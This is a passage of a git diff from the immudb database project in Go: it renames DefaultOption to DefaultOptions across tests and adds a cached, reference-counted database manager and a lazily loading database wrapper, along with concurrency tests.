err) } func TestDbCreation(t *testing.T) { - options := DefaultOption().WithDBRootPath(filepath.Join(t.TempDir(), "Paris")) + options := DefaultOptions().WithDBRootPath(filepath.Join(t.TempDir(), "Paris")) db, err := NewDB("EdithPiaf", nil, options, logger.NewSimpleLogger("immudb ", os.Stderr)) require.NoError(t, err) @@ -196,19 +196,19 @@ func TestDbCreation(t *testing.T) { } func TestOpenWithMissingDBDirectories(t *testing.T) { - options := DefaultOption().WithDBRootPath(filepath.Join(t.TempDir(), "Paris")) + options := DefaultOptions().WithDBRootPath(filepath.Join(t.TempDir(), "Paris")) _, err := OpenDB("EdithPiaf", nil, options, logger.NewSimpleLogger("immudb ", os.Stderr)) require.ErrorContains(t, err, "missing database directories") } func TestOpenWithIllegalDBName(t *testing.T) { - options := DefaultOption().WithDBRootPath(filepath.Join(t.TempDir(), "Paris")) + options := DefaultOptions().WithDBRootPath(filepath.Join(t.TempDir(), "Paris")) _, err := OpenDB("", nil, options, logger.NewSimpleLogger("immudb ", os.Stderr)) require.ErrorIs(t, err, ErrIllegalArguments) } func TestOpenDB(t *testing.T) { - options := DefaultOption().WithDBRootPath(filepath.Join(t.TempDir(), "Paris")) + options := DefaultOptions().WithDBRootPath(filepath.Join(t.TempDir(), "Paris")) db, err := NewDB("EdithPiaf", nil, options, logger.NewSimpleLogger("immudb ", os.Stderr)) require.NoError(t, err) @@ -227,11 +227,11 @@ func TestOpenV1_0_1_DB(t *testing.T) { dir := filepath.Join(t.TempDir(), "db") require.NoError(t, copier.CopyDir("../../test/data_v1.1.0", dir)) - sysOpts := DefaultOption().WithDBRootPath(dir) + sysOpts := DefaultOptions().WithDBRootPath(dir) sysDB, err := OpenDB("systemdb", nil, sysOpts, logger.NewSimpleLogger("immudb ", os.Stderr)) require.NoError(t, err) - dbOpts := DefaultOption().WithDBRootPath(dir) + dbOpts := DefaultOptions().WithDBRootPath(dir) db, err := OpenDB("defaultdb", nil, dbOpts, logger.NewSimpleLogger("immudb ", os.Stderr)) require.NoError(t, err) @@ -2210,7 +2210,7 @@ db := makeDb(t) */ func Test_database_truncate(t *testing.T) { - options := DefaultOption().WithDBRootPath(t.TempDir()) + options := DefaultOptions().WithDBRootPath(t.TempDir()) options.storeOpts. WithEmbeddedValues(false). WithPreallocFiles(false). @@ -2235,16 +2235,16 @@ func Test_database_truncate(t *testing.T) { } } - c := NewVlogTruncator(db) + c := NewVlogTruncator(db, logger.NewMemoryLogger()) hdr, err := c.Plan(context.Background(), queryTime) require.NoError(t, err) require.LessOrEqual(t, time.Unix(hdr.Ts, 0), queryTime) - err = c.TruncateUptoTx(context.Background(), hdr.ID) + err = c.TruncateUptoTx(context.Background(), hdr.Id) require.NoError(t, err) - for i := hdr.ID; i <= 20; i++ { + for i := hdr.Id; i <= 20; i++ { tx := store.NewTx(db.st.MaxTxEntries(), db.st.MaxKeyLen()) err = db.st.ReadTx(i, false, tx) diff --git a/pkg/database/db_manager.go b/pkg/database/db_manager.go new file mode 100644 index 0000000000..85ed9647b7 --- /dev/null +++ b/pkg/database/db_manager.go @@ -0,0 +1,476 @@ +/* +Copyright 2024 Codenotary Inc. All rights reserved. + +SPDX-License-Identifier: BUSL-1.1 +you may not use this file except in compliance with the License. +You may obtain a copy of the License at + + https://mariadb.com/bsl11/ + +Unless required by applicable law or agreed to in writing, software +distributed under the License is distributed on an "AS IS" BASIS, +WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +See the License for the specific language governing permissions and +limitations under the License. +*/ + +package database + +import ( + "context" + "fmt" + "sync" + "sync/atomic" + "time" + + "github.com/codenotary/immudb/embedded/cache" + "github.com/codenotary/immudb/embedded/logger" + "github.com/codenotary/immudb/embedded/store" + "github.com/codenotary/immudb/pkg/api/schema" +) + +type DBManager struct { + openDB OpenDBFunc + dbCache *cache.Cache + + logger logger.Logger + + dbMutex sync.RWMutex + databases []*dbInfo + dbIndex map[string]int + + mtx sync.Mutex + waitCond *sync.Cond + + closed bool +} + +type dbInfo struct { + mtx sync.Mutex + + opts *Options + state *schema.ImmutableState + + name string + deleted bool + closed bool +} + +func (db *dbInfo) cacheInfo(s *schema.ImmutableState, opts *Options) { + db.mtx.Lock() + defer db.mtx.Unlock() + + db.state = s + db.opts = opts +} + +func (db *dbInfo) getState() *schema.ImmutableState { + db.mtx.Lock() + defer db.mtx.Unlock() + + return db.state +} + +func (db *dbInfo) getOptions() *Options { + db.mtx.Lock() + defer db.mtx.Unlock() + + return db.opts +} + +func (db *dbInfo) close() error { + db.mtx.Lock() + defer db.mtx.Unlock() + + if db.closed { + return store.ErrAlreadyClosed + } + db.closed = true + + return nil +} + +type dbRef struct { + db DB + count uint32 +} + +type OpenDBFunc func(name string, opts *Options) (DB, error) + +func NewDBManager(openFunc OpenDBFunc, maxActiveDatabases int, log logger.Logger) *DBManager { + m := &DBManager{ + openDB: openFunc, + dbIndex: make(map[string]int), + databases: make([]*dbInfo, 0), + logger: log, + } + m.dbCache = createCache(m, maxActiveDatabases) + m.waitCond = sync.NewCond(&m.mtx) + return m +} + +func createCache(m *DBManager, capacity int) *cache.Cache { + c, _ := cache.NewCache(capacity) + + c.SetCanEvict(func(_, value interface{}) bool { + ref, _ := value.(*dbRef) + + return ref != nil && atomic.LoadUint32(&ref.count) == 0 + }) + + c.SetOnEvict(func(idx, value interface{}) { + ref, _ := value.(*dbRef) + if ref == nil { + return + } + + // NOTE: db cannot be nil at this point, + // since it can only be evicted after it has been successfully opened. + // Moreover, since the reference cannot be altered after it has been set, + // there is not need to acquire the database lock. + if ref.db == nil { + m.logger.Errorf("db not initialised during eviction") + return + } + + state, err := ref.db.CurrentState() + if err != nil { + m.logger.Errorf(`%w: while fetching db %s state`, err, ref.db.GetName()) + } + + opts := ref.db.GetOptions() + + err = ref.db.Close() + if err != nil { + m.logger.Errorf(`%w: while closing db "%s"`, err, ref.db.GetName()) + } + + if i, ok := idx.(int); ok && (i >= 0 && i < len(m.databases)) { + m.databases[i].cacheInfo(state, opts) + } + ref.db = nil + }) + return c +} + +func (m *DBManager) Put(dbName string, opts *Options, closed bool) int { + m.dbMutex.Lock() + defer m.dbMutex.Unlock() + + if idx, has := m.dbIndex[dbName]; has { + ref := m.databases[idx] + ref.deleted = false + ref.closed = closed + ref.opts = opts + return idx + } + + m.dbIndex[dbName] = len(m.databases) + + info := &dbInfo{ + opts: opts, + name: dbName, + deleted: false, + closed: closed, + } + + m.databases = append(m.databases, info) + return len(m.databases) - 1 +} + +func (m *DBManager) Get(idx int) (DB, error) { + db, exists := m.getDB(idx) + if !exists { + return nil, ErrDatabaseNotExists + } + + ref, err := m.allocDB(idx, db) + if err != nil { + return nil, err + } + defer db.mtx.Unlock() + + if ref.db == nil { + d, err := m.openDB(db.name, db.opts) + if err != nil { + m.Release(idx) + return nil, err + } + ref.db = d + } + return ref.db, nil +} + +func (m *DBManager) allocDB(idx int, db *dbInfo) (*dbRef, error) { + m.mtx.Lock() + defer m.mtx.Unlock() + + for { + db.mtx.Lock() + + if m.closed || db.closed || db.deleted { + db.mtx.Unlock() + return nil, store.ErrAlreadyClosed + } + + v, err := m.dbCache.Get(idx) + if err == nil { + ref := v.(*dbRef) + atomic.AddUint32(&ref.count, 1) + return ref, nil + } + + ref := &dbRef{count: 1} + _, _, err = m.dbCache.Put(idx, ref) + if err == nil { + return ref, nil + } + + db.mtx.Unlock() + m.waitCond.Wait() + } +} + +func (m *DBManager) Release(idx int) { + v, err := m.dbCache.Get(idx) + + // NOTE: may occur if the database is closed + // before being fully released + if err != nil { + return + } + + ref, _ := v.(*dbRef) + if ref == nil { + return + } + + if atomic.AddUint32(&ref.count, ^uint32(0)) == 0 { + m.signal() + } +} + +func (m *DBManager) signal() { + m.mtx.Lock() + defer m.mtx.Unlock() + + m.waitCond.Signal() +} + +func (m *DBManager) Has(name string) bool { + m.dbMutex.RLock() + defer m.dbMutex.RUnlock() + + _, has := m.dbIndex[name] + return has +} + +func (m *DBManager) HasIndex(idx int) bool { + m.dbMutex.RLock() + defer m.dbMutex.RUnlock() + + return idx >= 0 && idx < len(m.databases) +} + +func (m *DBManager) GetIndexByName(name string) int { + m.dbMutex.RLock() + defer m.dbMutex.RUnlock() + + idx, exists := m.dbIndex[name] + if !exists { + return -1 + } + return idx +} + +func (m *DBManager) GetNameByIndex(idx int) string { + m.dbMutex.RLock() + defer m.dbMutex.RUnlock() + + if idx < 0 || idx >= len(m.databases) { + return "" + } + return m.databases[idx].name +} + +func (m *DBManager) GetOptionsByIndex(idx int) *Options { + dbInfo, has := m.getDB(idx) + if !has { + return nil + } + + ref, err := m.dbCache.Get(idx) + if err == nil { + dbInfo.mtx.Lock() + defer dbInfo.mtx.Unlock() + + if dbRef := ref.(*dbRef); dbRef != nil && dbRef.db != nil { + return dbInfo.opts + } + return nil + } + return dbInfo.getOptions() +} + +func (m *DBManager) GetState(idx int) (*schema.ImmutableState, error) { + dbInfo, has := m.getDB(idx) + if !has { + return nil, ErrDatabaseNotExists + } + + ref, err := m.dbCache.Get(idx) + if err == nil { + dbInfo.mtx.Lock() + defer dbInfo.mtx.Unlock() + + if dbRef := ref.(*dbRef); dbRef != nil && dbRef.db != nil { + return dbRef.db.CurrentState() + } + // this condition should never happen + return nil, fmt.Errorf("unable to get state") + } + + s := dbInfo.getState() + if s != nil { + return s, nil + } + + db, err := m.Get(idx) + if err != nil { + return nil, err + } + defer m.Release(idx) + + return db.CurrentState() +} + +func (m *DBManager) Delete(name string) error { + m.dbMutex.RLock() + + idx, exists := m.dbIndex[name] + if !exists { + m.dbMutex.RUnlock() + return ErrDatabaseNotExists + } + + db := m.databases[idx] + m.dbMutex.RUnlock() + + db.mtx.Lock() + defer db.mtx.Unlock() + + if !db.closed { + return ErrCannotDeleteAnOpenDatabase + } + db.deleted = true + + // NOTE: a closed database cannot be present in the cache + return nil +} + +func (m *DBManager) Length() int { + m.dbMutex.RLock() + defer m.dbMutex.RUnlock() + + return len(m.databases) +} + +func (m *DBManager) IsLoaded(idx int) bool { + db, exists := m.getDB(idx) + if !exists { + return false + } + + db.mtx.Lock() + defer db.mtx.Unlock() + + return !db.closed +} + +func (m *DBManager) Close(idx int) error { + db, exists := m.getDB(idx) + if !exists { + return nil + } + + if err := db.close(); err != nil { + return err + } + defer m.waitCond.Broadcast() + + v, err := m.dbCache.Pop(idx) + if err != nil { + return nil + } + + ref, _ := v.(*dbRef) + if ref != nil && ref.db != nil { + ref.db.Close() + ref.db = nil + } + return nil +} + +func (m *DBManager) IsClosed(idx int) bool { + db, exists := m.getDB(idx) + if !exists { + return true + } + + db.mtx.Lock() + defer db.mtx.Unlock() + + return db.closed +} + +func (m *DBManager) getDB(idx int) (*dbInfo, bool) { + m.dbMutex.RLock() + defer m.dbMutex.RUnlock() + + if idx < 0 || idx >= len(m.databases) { + return nil, false + } + return m.databases[idx], true +} + +func (m *DBManager) Resize(n int) { + m.dbCache.Resize(n) +} + +func (m *DBManager) CloseAll(ctx context.Context) error { + m.mtx.Lock() + m.closed = true + m.mtx.Unlock() + + m.waitCond.Broadcast() + + tryClose := true + for tryClose { + if err := ctx.Err(); err != nil { + return err + } + + busyDBs := 0 + m.dbCache.Apply(func(_, value interface{}) error { + ref := value.(*dbRef) + + if atomic.LoadUint32(&ref.count) > 0 { + busyDBs++ + return nil + } + + ref.db.Close() + return nil + }) + tryClose = busyDBs > 0 + + time.Sleep(time.Millisecond * 10) + } + m.dbCache.Resize(0) + return nil +} + +func (m *DBManager) IsActive(idx int) bool { + _, err := m.dbCache.Get(idx) + return err == nil +} diff --git a/pkg/database/db_manager_test.go b/pkg/database/db_manager_test.go new file mode 100644 index 0000000000..854d44e9d9 --- /dev/null +++ b/pkg/database/db_manager_test.go @@ -0,0 +1,387 @@ +/* +Copyright 2024 Codenotary Inc. All rights reserved. + +SPDX-License-Identifier: BUSL-1.1 +you may not use this file except in compliance with the License. +You may obtain a copy of the License at + + https://mariadb.com/bsl11/ + +Unless required by applicable law or agreed to in writing, software +distributed under the License is distributed on an "AS IS" BASIS, +WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +See the License for the specific language governing permissions and +limitations under the License. +*/ + +package database + +import ( + "context" + "fmt" + "math/rand" + "os" + "path/filepath" + "sync" + "sync/atomic" + "testing" + "time" + + "github.com/codenotary/immudb/embedded/logger" + "github.com/codenotary/immudb/embedded/sql" + "github.com/codenotary/immudb/embedded/store" + "github.com/codenotary/immudb/pkg/api/schema" + "github.com/stretchr/testify/require" +) + +type mockDB struct { + DB + + name string +} + +func (db *mockDB) GetName() string { + return db.name +} + +func (db *mockDB) Close() error { + return nil +} + +func (db *mockDB) GetOptions() *Options { + return &Options{} +} + +func (db *mockDB) CurrentState() (*schema.ImmutableState, error) { + return &schema.ImmutableState{}, nil +} + +func openMockDB(name string, opts *Options) (DB, error) { + return &mockDB{name: name}, nil +} + +func TestDBManagerConcurrentGet(t *testing.T) { + manager := NewDBManager(openMockDB, 5, logger.NewMemoryLogger()) + + n := 100 + for i := 0; i < n; i++ { + manager.Put(fmt.Sprintf("db%d", i), DefaultOptions(), false) + } + + var wg sync.WaitGroup + wg.Add(n) + + for idx := 0; idx < n; idx++ { + go func(idx int) { + defer wg.Done() + + db, err := manager.Get(idx) + require.NoError(t, err) + require.NotNil(t, db) + defer manager.Release(idx) + + require.LessOrEqual(t, manager.dbCache.EntriesCount(), 5) + + sleepTime := time.Duration(10+rand.Intn(41)) * time.Millisecond + time.Sleep(sleepTime) + }(idx) + } + wg.Wait() +} + +func TestDBManagerOpen(t *testing.T) { + var nCalls uint64 + + openDB := func(name string, opts *Options) (DB, error) { + atomic.AddUint64(&nCalls, 1) + return openMockDB(name, opts) + } + + manager := NewDBManager(openDB, 1, logger.NewMemoryLogger()) + manager.Put("testdb", DefaultOptions(), false) + + n := 1000 + + var wg sync.WaitGroup + wg.Add(n) + for i := 0; i < n; i++ { + go func() { + defer wg.Done() + + _, err := manager.Get(0) + require.NoError(t, err) + }() + } + wg.Wait() + + require.Equal(t, nCalls, uint64(1)) + v, err := manager.dbCache.Get(0) + require.NoError(t, err) + + ref, _ := v.(*dbRef) + require.NotNil(t, ref) + require.NotNil(t, ref.db) + require.Equal(t, ref.count, uint32(n)) + + for i := 0; i < n; i++ { + manager.Release(0) + } + require.Zero(t, ref.count) +} + +func TestDBManagerClose(t *testing.T) { + maxActiveDBs := 10 + manager := NewDBManager(openMockDB, maxActiveDBs, logger.NewMemoryLogger()) + + manager.Put("test", DefaultOptions(), false) + + n := 100 + for i := 0; i < n; i++ { + _, err := manager.Get(0) + require.NoError(t, err) + } + + err := manager.Close(0) + require.NoError(t, err) + + err = manager.Close(0) + require.ErrorIs(t, err, store.ErrAlreadyClosed) + + for i := 0; i < n; i++ { + manager.Release(0) + } + + _, err = manager.Get(0) + require.ErrorIs(t, err, store.ErrAlreadyClosed) +} + +func TestDBManagerCloseDuringGet(t *testing.T) { + maxActiveDBs := 10 + manager := NewDBManager(openMockDB, maxActiveDBs, logger.NewMemoryLogger()) + + for i := 0; i <= maxActiveDBs; i++ { + manager.Put(fmt.Sprintf("test%d", i), DefaultOptions(), false) + } + + for i := 0; i < maxActiveDBs; i++ { + _, err := manager.Get(i) + require.NoError(t, err) + } + + n := 100 + + var wg sync.WaitGroup + wg.Add(n) + + for i := 0; i < n; i++ { + go func() { + defer wg.Done() + + _, err := manager.Get(maxActiveDBs) + require.ErrorIs(t, err, store.ErrAlreadyClosed) + }() + } + + // wait for all goroutines to attempt Get(maxActiveDBs) + time.Sleep(time.Millisecond * 100) + + err := manager.Close(maxActiveDBs) + require.NoError(t, err) + + wg.Wait() +} + +func TestDBManagerDelete(t *testing.T) { + manager := NewDBManager(openMockDB, 1, logger.NewMemoryLogger()) + + manager.Put("test", DefaultOptions(), false) + + err := manager.Delete("test") + require.ErrorIs(t, err, ErrCannotDeleteAnOpenDatabase) + + err = manager.Close(0) + require.NoError(t, err) + + err = manager.Delete("test") + require.NoError(t, err) +} + +func TestDBManagerCloseAll(t *testing.T) { + maxActiveDBs := 10 + manager := NewDBManager(openMockDB, maxActiveDBs, logger.NewMemoryLogger()) + + n := 100 + for i := 0; i < n; i++ { + manager.Put(fmt.Sprintf("test%d", i), DefaultOptions(), false) + } + + var wg sync.WaitGroup + wg.Add(maxActiveDBs) + for i := 0; i < maxActiveDBs; i++ { + go func(idx int) { + defer wg.Done() + + _, err := manager.Get(idx) + require.NoError(t, err) + }(i) + } + wg.Wait() + + var wg1 sync.WaitGroup + wg1.Add(n - maxActiveDBs) + for i := maxActiveDBs; i < n; i++ { + go func(idx int) { + defer wg1.Done() + + _, err := manager.Get(idx) + require.ErrorIs(t, err, store.ErrAlreadyClosed) + }(i) + } + + t.Run("close deadline exceeded", func(t *testing.T) { + ctx, cancel := context.WithTimeout(context.Background(), time.Second) + defer cancel() + + err := manager.CloseAll(ctx) + require.ErrorIs(t, err, context.DeadlineExceeded) + + // Goroutines waiting to acquire a database + // should be awakened by CloseAll() + wg1.Wait() + }) + + for i := 0; i < n; i++ { + manager.Release(i) + } + + t.Run("close succeeds", func(t *testing.T) { + err := manager.CloseAll(context.Background()) + require.NoError(t, err) + + for i := 0; i < n; i++ { + _, err := manager.Get(i) + require.ErrorIs(t, err, store.ErrAlreadyClosed) + } + }) +} + +func TestLazyDB(t *testing.T) { + dir := t.TempDir() + + err := os.MkdirAll(filepath.Join(dir, "testdb"), os.ModePerm) + require.NoError(t, err) + + err = os.MkdirAll(filepath.Join(dir, "testdb1"), os.ModePerm) + require.NoError(t, err) + + logger := logger.NewMemoryLogger() + + m := NewDBManager(func(name string, opts *Options) (DB, error) { + return OpenDB(name, nil, opts, logger) + }, 1, logger) + + dbList := NewDatabaseList(m) + _, err = dbList.GetByIndex(0) + require.ErrorIs(t, err, ErrDatabaseNotExists) + + db := dbList.Put("testdb", DefaultOptions().WithDBRootPath(dir)) + db1 := dbList.Put("testdb1", DefaultOptions().WithDBRootPath(dir)) + closedDB := dbList.PutClosed("closeddb", DefaultOptions().WithDBRootPath(dir)) + + require.True(t, m.Has("testdb")) + require.True(t, m.Has("testdb1")) + require.False(t, db.IsClosed()) + require.False(t, db1.IsClosed()) + require.True(t, closedDB.IsClosed()) + + t.Run("isActive", func(t *testing.T) { + require.False(t, m.IsActive(0)) + require.False(t, db.IsReplica()) + require.True(t, m.IsActive(0)) + require.False(t, db1.IsReplica()) + require.False(t, m.IsActive(0)) + require.True(t, m.IsActive(1)) + }) + + t.Run("isReplica", func(t *testing.T) { + require.False(t, db.IsReplica()) + db.AsReplica(true, false, 0) + require.True(t, db.IsReplica()) + + require.False(t, db1.IsReplica()) // force db1 loading + require.True(t, db.IsReplica()) + }) + + t.Run("SetSyncReplication", func(t *testing.T) { + db.SetSyncReplication(true) + require.True(t, db.IsSyncReplicationEnabled()) + require.False(t, db1.IsReplica()) // force db1 loading + require.True(t, db.IsSyncReplicationEnabled()) + }) + + t.Run("CurrentState", func(t *testing.T) { + state, err := db1.CurrentState() + require.NoError(t, err) + require.NotNil(t, state, err) + + s, err := db1.Size() + require.NoError(t, err) + require.NotZero(t, s) + + _, err = db1.Set(context.Background(), &schema.SetRequest{ + KVs: []*schema.KeyValue{ + { + Key: []byte("k1"), Value: []byte("v1"), + }, + }, + }) + require.NoError(t, err) + + err = db1.WaitForTx(context.Background(), 1, true) + require.NoError(t, err) + + err = db1.WaitForIndexingUpto(context.Background(), 1) + require.NoError(t, err) + + s1, err := db1.Size() + require.NoError(t, err) + require.Greater(t, s1, s) + + state1, err := db1.CurrentState() + require.NoError(t, err) + require.NotEqual(t, state, state1) + require.True(t, db.IsReplica()) // force db loading + + // calling CurrentState() again should not force db reloading + state2, err := db1.CurrentState() + require.NoError(t, err) + require.Equal(t, state1, state2) + require.False(t, m.IsActive(1)) + }) + + t.Run("copy catalog", func(t *testing.T) { + _, err := db1.CopySQLCatalog(context.Background(), 1) + require.NoError(t, err) + }) + + t.Run("truncate", func(t *testing.T) { + err := db1.TruncateUptoTx(context.Background(), 1) + require.NoError(t, err) + }) + + t.Run("sql", func(t *testing.T) { + params, err := db.InferParameters(context.Background(), nil, "SELECT * FROM table1") + require.ErrorIs(t, err, sql.ErrTableDoesNotExist) + require.Nil(t, params) + + _, err = db.SQLQueryAll(context.Background(), nil, &schema.SQLQueryRequest{Sql: "SELECT * FROM table1"}) + require.ErrorIs(t, err, sql.ErrTableDoesNotExist) + }) + + t.Run("IsLoaded", func(t *testing.T) { + require.True(t, m.IsLoaded(0)) + err = m.Close(0) + require.NoError(t, err) + require.False(t, m.IsLoaded(0)) + }) +} diff --git a/pkg/database/dboptions.go b/pkg/database/dboptions.go index 744453fd2b..66a3669392 100644 --- a/pkg/database/dboptions.go +++ b/pkg/database/dboptions.go @@ -48,8 +48,8 @@ type Options struct { RetentionPeriod time.Duration } -// DefaultOption Initialise Db Optionts to default values -func DefaultOption() *Options { +// DefaultOptions Initialise Db Optionts to default values +func DefaultOptions() *Options { return &Options{ dbRootPath: DefaultDbRootPath, storeOpts: store.DefaultOptions(), diff --git a/pkg/database/dboptions_test.go b/pkg/database/dboptions_test.go index 00874bd473..a65b0206b0 100644 --- a/pkg/database/dboptions_test.go +++ b/pkg/database/dboptions_test.go @@ -25,16 +25,16 @@ import ( ) func TestDefaultOptions(t *testing.T) { - op := DefaultOption().AsReplica(true) + op := DefaultOptions().AsReplica(true) - require.Equal(t, op.GetDBRootPath(), DefaultOption().dbRootPath) - require.Equal(t, op.GetTxPoolSize(), DefaultOption().readTxPoolSize) + require.Equal(t, op.GetDBRootPath(), DefaultOptions().dbRootPath) + require.Equal(t, op.GetTxPoolSize(), DefaultOptions().readTxPoolSize) require.False(t, op.syncReplication) rootpath := "rootpath" storeOpts := store.DefaultOptions() - op = DefaultOption(). + op = DefaultOptions(). WithDBRootPath(rootpath). WithStoreOptions(storeOpts). WithReadTxPoolSize(789). diff --git a/pkg/database/document_database_test.go b/pkg/database/document_database_test.go index 50a750e310..d06de97908 100644 --- a/pkg/database/document_database_test.go +++ b/pkg/database/document_database_test.go @@ -5,7 +5,7 @@ SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - https://mariadb.com/bsl11/ + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, @@ -37,7 +37,7 @@ func makeDocumentDb(t *testing.T) *db { rootPath := t.TempDir() dbName := "doc_test_db" - options := DefaultOption(). + options := DefaultOptions(). WithDBRootPath(rootPath) options.storeOpts.IndexOpts.WithCompactionThld(2) diff --git a/pkg/database/lazy_db.go b/pkg/database/lazy_db.go new file mode 100644 index 0000000000..6d0a74f1da --- /dev/null +++ b/pkg/database/lazy_db.go @@ -0,0 +1,724 @@ +/* +Copyright 2024 Codenotary Inc. All rights reserved. + +SPDX-License-Identifier: BUSL-1.1 +you may not use this file except in compliance with the License. +You may obtain a copy of the License at + + https://mariadb.com/bsl11/ + +Unless required by applicable law or agreed to in writing, software +distributed under the License is distributed on an "AS IS" BASIS, +WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +See the License for the specific language governing permissions and +limitations under the License. +*/ + +package database + +import ( + "context" + "crypto/sha256" + "io" + "path/filepath" + "time" + + "github.com/codenotary/immudb/embedded/document" + "github.com/codenotary/immudb/embedded/sql" + "github.com/codenotary/immudb/pkg/api/protomodel" + "github.com/codenotary/immudb/pkg/api/schema" +) + +type lazyDB struct { + m *DBManager + + idx int +} + +func (db *lazyDB) GetName() string { + return db.m.GetNameByIndex(db.idx) +} + +func (db *lazyDB) GetOptions() *Options { + return db.m.GetOptionsByIndex(db.idx) +} + +func (db *lazyDB) Path() string { + opts := db.GetOptions() + + return filepath.Join(opts.GetDBRootPath(), db.GetName()) +} + +func (db *lazyDB) AsReplica(asReplica, syncReplication bool, syncAcks int) { + d, err := db.m.Get(db.idx) + if err != nil { + db.m.logger.Errorf("%s: AsReplica", err) + return + } + defer db.m.Release(db.idx) + + d.AsReplica(asReplica, syncReplication, syncAcks) +} + +func (db *lazyDB) IsReplica() bool { + d, err := db.m.Get(db.idx) + if err != nil { + db.m.logger.Errorf("%s: IsReplica", err) + return false + } + defer db.m.Release(db.idx) + + return d.IsReplica() +} + +func (db *lazyDB) IsSyncReplicationEnabled() bool { + d, err := db.m.Get(db.idx) + if err != nil { + db.m.logger.Errorf("%s: IsSyncReplicationEnabled", err) + return false + } + defer db.m.Release(db.idx) + + return d.IsSyncReplicationEnabled() +} + +func (db *lazyDB) SetSyncReplication(enabled bool) { + d, err := db.m.Get(db.idx) + if err != nil { + db.m.logger.Errorf("%s: SetSyncReplication", err) + return + } + defer db.m.Release(db.idx) + + d.SetSyncReplication(enabled) +} + +func (db *lazyDB) MaxResultSize() int { + return db.GetOptions().maxResultSize +} + +func (db *lazyDB) Health() (waitingCount int, lastReleaseAt time.Time) { + d, err := db.m.Get(db.idx) + if err != nil { + db.m.logger.Errorf("%s: Health", err) + return + } + defer db.m.Release(db.idx) + + return d.Health() +} + +func (db *lazyDB) CurrentState() (*schema.ImmutableState, error) { + return db.m.GetState(db.idx) +} + +func (db *lazyDB) Size() (uint64, error) { + d, err := db.m.Get(db.idx) + if err != nil { + return 0, err + } + defer db.m.Release(db.idx) + + return d.Size() +} + +func (db *lazyDB) TxCount() (uint64, error) { + d, err := db.m.Get(db.idx) + if err != nil { + return 0, err + } + defer db.m.Release(db.idx) + + return d.TxCount() +} + +func (db *lazyDB) Set(ctx context.Context, req *schema.SetRequest) (*schema.TxHeader, error) { + d, err := db.m.Get(db.idx) + if err != nil { + return nil, err + } + defer db.m.Release(db.idx) + + return d.Set(ctx, req) +} + +func (db *lazyDB) VerifiableSet(ctx context.Context, req *schema.VerifiableSetRequest) (*schema.VerifiableTx, error) { + d, err := db.m.Get(db.idx) + if err != nil { + return nil, err + } + defer db.m.Release(db.idx) + + return d.VerifiableSet(ctx, req) +} + +func (db *lazyDB) Get(ctx context.Context, req *schema.KeyRequest) (*schema.Entry, error) { + d, err := db.m.Get(db.idx) + if err != nil { + return nil, err + } + defer db.m.Release(db.idx) + + return d.Get(ctx, req) +} + +func (db *lazyDB) VerifiableGet(ctx context.Context, req *schema.VerifiableGetRequest) (*schema.VerifiableEntry, error) { + d, err := db.m.Get(db.idx) + if err != nil { + return nil, err + } + defer db.m.Release(db.idx) + + return d.VerifiableGet(ctx, req) +} + +func (db *lazyDB) GetAll(ctx context.Context, req *schema.KeyListRequest) (*schema.Entries, error) { + d, err := db.m.Get(db.idx) + if err != nil { + return nil, err + } + defer db.m.Release(db.idx) + + return d.GetAll(ctx, req) +} + +func (db *lazyDB) Delete(ctx context.Context, req *schema.DeleteKeysRequest) (*schema.TxHeader, error) { + d, err := db.m.Get(db.idx) + if err != nil { + return nil, err + } + defer db.m.Release(db.idx) + + return d.Delete(ctx, req) +} + +func (db *lazyDB) SetReference(ctx context.Context, req *schema.ReferenceRequest) (*schema.TxHeader, error) { + d, err := db.m.Get(db.idx) + if err != nil { + return nil, err + } + defer db.m.Release(db.idx) + + return d.SetReference(ctx, req) +} + +func (db *lazyDB) VerifiableSetReference(ctx context.Context, req *schema.VerifiableReferenceRequest) (*schema.VerifiableTx, error) { + d, err := db.m.Get(db.idx) + if err != nil { + return nil, err + } + defer db.m.Release(db.idx) + + return d.VerifiableSetReference(ctx, req) +} + +func (db *lazyDB) Scan(ctx context.Context, req *schema.ScanRequest) (*schema.Entries, error) { + d, err := db.m.Get(db.idx) + if err != nil { + return nil, err + } + defer db.m.Release(db.idx) + + return d.Scan(ctx, req) +} + +func (db *lazyDB) History(ctx context.Context, req *schema.HistoryRequest) (*schema.Entries, error) { + d, err := db.m.Get(db.idx) + if err != nil { + return nil, err + } + defer db.m.Release(db.idx) + + return d.History(ctx, req) +} + +func (db *lazyDB) ExecAll(ctx context.Context, operations *schema.ExecAllRequest) (*schema.TxHeader, error) { + d, err := db.m.Get(db.idx) + if err != nil { + return nil, err + } + defer db.m.Release(db.idx) + + return d.ExecAll(ctx, operations) +} + +func (db *lazyDB) Count(ctx context.Context, prefix *schema.KeyPrefix) (*schema.EntryCount, error) { + d, err := db.m.Get(db.idx) + if err != nil { + return nil, err + } + defer db.m.Release(db.idx) + + return d.Count(ctx, prefix) +} + +func (db *lazyDB) CountAll(ctx context.Context) (*schema.EntryCount, error) { + d, err := db.m.Get(db.idx) + if err != nil { + return nil, err + } + defer db.m.Release(db.idx) + + return d.CountAll(ctx) +} + +func (db *lazyDB) ZAdd(ctx context.Context, req *schema.ZAddRequest) (*schema.TxHeader, error) { + d, err := db.m.Get(db.idx) + if err != nil { + return nil, err + } + defer db.m.Release(db.idx) + + return d.ZAdd(ctx, req) +} + +func (db *lazyDB) VerifiableZAdd(ctx context.Context, req *schema.VerifiableZAddRequest) (*schema.VerifiableTx, error) { + d, err := db.m.Get(db.idx) + if err != nil { + return nil, err + } + defer db.m.Release(db.idx) + + return d.VerifiableZAdd(ctx, req) +} + +func (db *lazyDB) ZScan(ctx context.Context, req *schema.ZScanRequest) (*schema.ZEntries, error) { + d, err := db.m.Get(db.idx) + if err != nil { + return nil, err + } + defer db.m.Release(db.idx) + + return d.ZScan(ctx, req) +} + +func (db *lazyDB) NewSQLTx(ctx context.Context, opts *sql.TxOptions) (*sql.SQLTx, error) { + d, err := db.m.Get(db.idx) + if err != nil { + return nil, err + } + defer db.m.Release(db.idx) + + return d.NewSQLTx(ctx, opts) +} + +func (db *lazyDB) SQLExec(ctx context.Context, tx *sql.SQLTx, req *schema.SQLExecRequest) (ntx *sql.SQLTx, ctxs []*sql.SQLTx, err error) { + d, err := db.m.Get(db.idx) + if err != nil { + return nil, nil, err + } + defer 